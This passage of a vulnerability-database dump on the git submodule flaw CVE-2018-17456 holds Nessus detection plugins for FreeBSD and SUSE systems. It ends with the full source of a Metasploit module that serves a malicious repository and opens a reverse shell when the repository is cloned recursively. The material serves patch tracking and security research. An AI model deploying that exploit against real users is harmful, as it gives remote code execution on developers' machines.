script_require_keys(\"Host/local_checks_enabled\", \"Host/FreeBSD/release\", \"Host/FreeBSD/pkg_info\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"freebsd_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/FreeBSD/release\")) audit(AUDIT_OS_NOT, \"FreeBSD\");\nif (!get_kb_item(\"Host/FreeBSD/pkg_info\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (pkg_test(save_report:TRUE, pkg:\"libgit2<0.27.5\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-11-03T12:24:22", "bulletinFamily": "scanner", "description": "This update for libgit2 fixes the following issues :\n\nSecurity issue fixed :\n\nCVE-2018-17456: Submodule URLs and paths with a leading ", "modified": "2019-11-02T00:00:00", "id": "SUSE_SU-2018-4009-1.NASL", "href": "https://www.tenable.com/plugins/nessus/120182", "published": "2019-01-02T00:00:00", "title": "SUSE SLED15 / SLES15 Security Update : libgit2 (SUSE-SU-2018:4009-1)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2018:4009-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(120182);\n script_version(\"1.5\");\n script_cvs_date(\"Date: 2019/09/10 13:51:49\");\n\n script_cve_id(\"CVE-2018-17456\");\n\n script_name(english:\"SUSE SLED15 / SLES15 Security Update : libgit2 (SUSE-SU-2018:4009-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for libgit2 fixes the following issues :\n\nSecurity issue fixed :\n\nCVE-2018-17456: Submodule URLs and paths with a leading '-' are now\nignored to avoid injecting options into library consumers that perform\nrecursive clones (bsc#1110949).\n\nNon-security issues fixed: Version update to version 0.26.8\n(bsc#1114729).\n\nFull changelog can be found at :\n\n - https://github.com/libgit2/libgit2/releases/tag/v0.26.8\n\n - https://github.com/libgit2/libgit2/releases/tag/v0.26.7\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1110949\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1114729\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://github.com/libgit2/libgit2/releases/tag/v0.26.7\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://github.com/libgit2/libgit2/releases/tag/v0.26.8\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2018-17456/\"\n );\n # https://www.suse.com/support/update/announcement/2018/suse-su-20184009-1/\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?027f6a9d\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE Linux Enterprise Module for Development Tools 15:zypper in -t\npatch SUSE-SLE-Module-Development-Tools-15-2018-2865=1\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Malicious Git HTTP Server For CVE-2018-17456');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libgit2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libgit2-26-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libgit2-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:libgit2-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:15\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/12/07\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/01/02\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLED15|SLES15)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLED15 / SLES15\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES15\" && (! preg(pattern:\"^(0)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES15 SP0\", os_ver + \" SP\" + sp);\nif (os_ver == \"SLED15\" && (! preg(pattern:\"^(0)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLED15 SP0\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"libgit2-26-0.26.8-3.8.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"libgit2-26-debuginfo-0.26.8-3.8.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"libgit2-debugsource-0.26.8-3.8.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"libgit2-devel-0.26.8-3.8.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"libgit2-26-0.26.8-3.8.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"libgit2-26-debuginfo-0.26.8-3.8.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"libgit2-debugsource-0.26.8-3.8.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"libgit2-devel-0.26.8-3.8.1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libgit2\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-11-01T03:03:14", "bulletinFamily": "scanner", "description": "This update for libgit2 fixes the following issues :\n\nSecurity issue fixed :\n\n - CVE-2018-17456: Submodule URLs and paths with a leading\n ", "modified": "2019-11-02T00:00:00", "id": "OPENSUSE-2018-1517.NASL", "href": "https://www.tenable.com/plugins/nessus/119546", "published": "2018-12-10T00:00:00", "title": "openSUSE Security Update : libgit2 (openSUSE-2018-1517)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2018-1517.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(119546);\n script_version(\"1.3\");\n script_cvs_date(\"Date: 2019/04/05 23:25:08\");\n\n script_cve_id(\"CVE-2018-17456\");\n\n script_name(english:\"openSUSE Security Update : libgit2 (openSUSE-2018-1517)\");\n script_summary(english:\"Check for the openSUSE-2018-1517 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for libgit2 fixes the following issues :\n\nSecurity issue fixed :\n\n - CVE-2018-17456: Submodule URLs and paths with a leading\n '-' are now ignored to avoid injecting options into\n library consumers that perform recursive clones\n (bsc#1110949).\n\nNon-security issues fixed :\n\n - Version update to version 0.26.8 (bsc#1114729).\n\n - Full changelog can be found at :\n\n - https://github.com/libgit2/libgit2/releases/tag/v0.26.8\n\n - https://github.com/libgit2/libgit2/releases/tag/v0.26.7\n\nThis update was imported from the SUSE:SLE-15:Update update project.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1110949\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1114729\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://github.com/libgit2/libgit2/releases/tag/v0.26.7\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://github.com/libgit2/libgit2/releases/tag/v0.26.8\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected libgit2 packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Malicious Git HTTP Server For CVE-2018-17456');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-26\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-26-32bit\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-26-32bit-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-26-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libgit2-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/12/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/12/10\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.0)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.0\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libgit2-26-0.26.8-lp150.2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libgit2-26-debuginfo-0.26.8-lp150.2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libgit2-debugsource-0.26.8-lp150.2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"libgit2-devel-0.26.8-lp150.2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", cpu:\"x86_64\", reference:\"libgit2-26-32bit-0.26.8-lp150.2.6.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", cpu:\"x86_64\", reference:\"libgit2-26-32bit-debuginfo-0.26.8-lp150.2.6.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"libgit2-26 / libgit2-26-debuginfo / libgit2-debugsource / etc\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-11-03T12:24:23", "bulletinFamily": "scanner", "description": "This update for git fixes the following issue :\n\nCVE-2018-17456: Git allowed remote code execution during processing of\na recursive ", "modified": "2019-11-02T00:00:00", "id": "SUSE_SU-2018-4088-1.NASL", "href": "https://www.tenable.com/plugins/nessus/119649", "published": "2018-12-13T00:00:00", "title": "SUSE SLES12 Security Update : git (SUSE-SU-2018:4088-1)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2018:4088-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(119649);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/09/10 13:51:50\");\n\n script_cve_id(\"CVE-2018-17456\");\n\n script_name(english:\"SUSE SLES12 Security Update : git (SUSE-SU-2018:4088-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for git fixes the following issue :\n\nCVE-2018-17456: Git allowed remote code execution during processing of\na recursive 'git clone' of a superproject if a .gitmodules file has a\nURL field beginning with a '-' character. (boo#1110949).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1110949\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2018-17456/\"\n );\n # https://www.suse.com/support/update/announcement/2018/suse-su-20184088-1/\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?45f41024\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE OpenStack Cloud 8:zypper in -t patch\nSUSE-OpenStack-Cloud-8-2018-2918=1\n\nSUSE OpenStack Cloud 7:zypper in -t patch\nSUSE-OpenStack-Cloud-7-2018-2918=1\n\nSUSE Linux Enterprise Software Development Kit 12-SP3:zypper in -t\npatch SUSE-SLE-SDK-12-SP3-2018-2918=1\n\nSUSE Linux Enterprise Server for SAP 12-SP2:zypper in -t patch\nSUSE-SLE-SAP-12-SP2-2018-2918=1\n\nSUSE Linux Enterprise Server 12-SP3:zypper in -t patch\nSUSE-SLE-SERVER-12-SP3-2018-2918=1\n\nSUSE Linux Enterprise Server 12-SP2-LTSS:zypper in -t patch\nSUSE-SLE-SERVER-12-SP2-2018-2918=1\n\nSUSE Linux Enterprise Server 12-SP2-BCL:zypper in -t patch\nSUSE-SLE-SERVER-12-SP2-BCL-2018-2918=1\n\nSUSE Linux Enterprise Server 12-SP1-LTSS:zypper in -t patch\nSUSE-SLE-SERVER-12-SP1-2018-2918=1\n\nSUSE Linux Enterprise Server 12-LTSS:zypper in -t patch\nSUSE-SLE-SERVER-12-2018-2918=1\n\nSUSE Enterprise Storage 4:zypper in -t patch\nSUSE-Storage-4-2018-2918=1\n\nSUSE CaaS Platform ALL :\n\nTo install this update, use the SUSE CaaS Platform Velum dashboard. It\nwill inform you if it detects new updates and let you then trigger\nupdating of the complete cluster in a controlled way.\n\nSUSE CaaS Platform 3.0 :\n\nTo install this update, use the SUSE CaaS Platform Velum dashboard. It\nwill inform you if it detects new updates and let you then trigger\nupdating of the complete cluster in a controlled way.\n\nOpenStack Cloud Magnum Orchestration 7:zypper in -t patch\nSUSE-OpenStack-Cloud-Magnum-Orchestration-7-2018-2918=1\n\nHPE Helion Openstack 8:zypper in -t patch\nHPE-Helion-OpenStack-8-2018-2918=1\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Malicious Git HTTP Server For CVE-2018-17456');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:git-core\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:git-core-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:git-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2018/10/06\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2018/12/12\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2018/12/13\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLES12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLES12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES12\" && (! preg(pattern:\"^(0|1|2|3)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES12 SP0/1/2/3\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"git-core-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"git-core-debuginfo-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"git-debugsource-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"0\", reference:\"git-core-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"0\", reference:\"git-core-debuginfo-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"0\", reference:\"git-debugsource-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"git-core-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"git-core-debuginfo-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"3\", reference:\"git-debugsource-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", cpu:\"x86_64\", reference:\"git-core-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", cpu:\"x86_64\", reference:\"git-core-debuginfo-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", cpu:\"x86_64\", reference:\"git-debugsource-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"git-core-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"git-core-debuginfo-2.12.3-27.17.2\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"2\", reference:\"git-debugsource-2.12.3-27.17.2\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"git\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2018-11-16T02:15:59", "bulletinFamily": "exploit", "description": "", "modified": "2018-11-15T00:00:00", "published": "2018-11-15T00:00:00", "id": "PACKETSTORM:150380", "href": "https://packetstormsecurity.com/files/150380/Malicious-Git-HTTP-Server.html", "title": "Malicious Git HTTP Server", "type": "packetstorm", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpServer \ninclude Msf::Exploit::Git \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Malicious Git HTTP Server For CVE-2018-17456', \n'Description' => %q( \nThis module exploits CVE-2018-17456, which affects Git \nversions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. \n \nWhen a submodule url which starts with a dash e.g \"-u./payload\" is passed \nas an argument to git clone, the file \"payload\" inside the repository \nis executed. \n \nThis module creates a fake git repository which contains a submodule \ncontaining the vulnerability. The vulnerability is triggered when the \nsubmodules are initialised (e.g git clone --recurse-submodules URL) \n), \n'License' => MSF_LICENSE, \n'References' => \n[ \n['CVE', '2018-17456'], \n['URL', 'https://marc.info/?l=git&m=153875888916397&w=2' ], \n['URL', 'https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6' ], \n['URL', 'https://blog.github.com/2018-10-05-git-submodule-vulnerability' ], \n], \n'DisclosureDate' => 'Oct 05 2018', \n'Targets' => [ \n['Automatic', \n{ \n'Platform' => [ 'unix' ], \n'Arch' => ARCH_CMD, \n'Payload' => {'Compat' => {'PayloadType' => 'python'}} \n} \n] \n], \n'DefaultOptions' => {'Payload' => 'cmd/unix/reverse_python'}, \n'DefaultTarget' => 0 \n) \n) \n \nregister_options( \n[ \nOptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), \nOptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', '']) \n] \n) \nend \n \ndef setup \n@repo_data = { \ngit: { files: {} } \n} \nsetup_git \nsuper \nend \n \ndef setup_git \n# URI must start with a / \nunless git_uri && git_uri.start_with?('/') \nfail_with(Failure::BadConfig, 'GIT_URI must start with a /') \nend \n \npayload_content = \"#!/bin/sh\\n#{payload.raw} &\" \npayload_file = Rex::Text.rand_text_alpha(4..6) \n \nsubmodule_path = datastore['GIT_SUBMODULE'] \nif submodule_path.blank? \nsubmodule_path = Rex::Text.rand_text_alpha(2..6).downcase + \":\" + Rex::Text.rand_text_alpha(2..6).downcase \nend \nunless submodule_path.include?\":\" \nfail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :') \nend \n \ngitmodules = \"[submodule \\\"#{submodule_path}\\\"] \npath = #{submodule_path} \nurl = -u./#{payload_file} \n\" \n \nsha1, content = build_object('blob', gitmodules) \n@repo_data[:git][:files][\"/objects/#{get_path(sha1)}\"] = content \npayloadsha1, content = build_object('blob', payload_content) \n@repo_data[:git][:files][\"/objects/#{get_path(payloadsha1)}\"] = content \n \ntree = \"100644 .gitmodules\\0#{[sha1].pack('H*')}\" \ntree += \"100744 #{payload_file}\\0#{[payloadsha1].pack('H*')}\" \ntree += \"160000 #{submodule_path}\\0#{[sha1].pack('H*')}\" \nsha1, content = build_object('tree', tree) \n@repo_data[:git][:files][\"/objects/#{get_path(sha1)}\"] = content \n \nsha1, content = build_object('commit', \"tree #{sha1}\\n#{fake_commit_message}\") \n@repo_data[:git][:files][\"/objects/#{get_path(sha1)}\"] = content \n@repo_data[:git][:files]['/HEAD'] = \"ref: refs/heads/master\\n\" \n@repo_data[:git][:files]['/info/refs'] = \"#{sha1}\\trefs/heads/master\\n\" \nend \n \ndef primer \n# add the git and mercurial URIs as necessary \nhardcoded_uripath(git_uri) \ngit_url = URI.parse(get_uri).merge(git_uri) \nprint_status(\"Malicious Git URI is #{git_url}\") \nprint_status(\"git clone --recurse-submodules #{git_url}\") \nend \n \n# handles git clone \ndef on_request_uri(cli, req) \nreq_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') \nif @repo_data[:git][:files].key?(req_file) \nvprint_status(\"Sending Git #{req_file}\") \nsend_response(cli, @repo_data[:git][:files][req_file]) \nelse \nvprint_status(\"Git #{req_file} doesn't exist\") \nsend_not_found(cli) \nend \nend \n \n# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI \ndef git_uri \nreturn @git_uri if @git_uri \nif datastore['GIT_URI'].blank? \n@git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git' \nelse \n@git_uri = datastore['GIT_URI'] \nend \nend \nend \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": 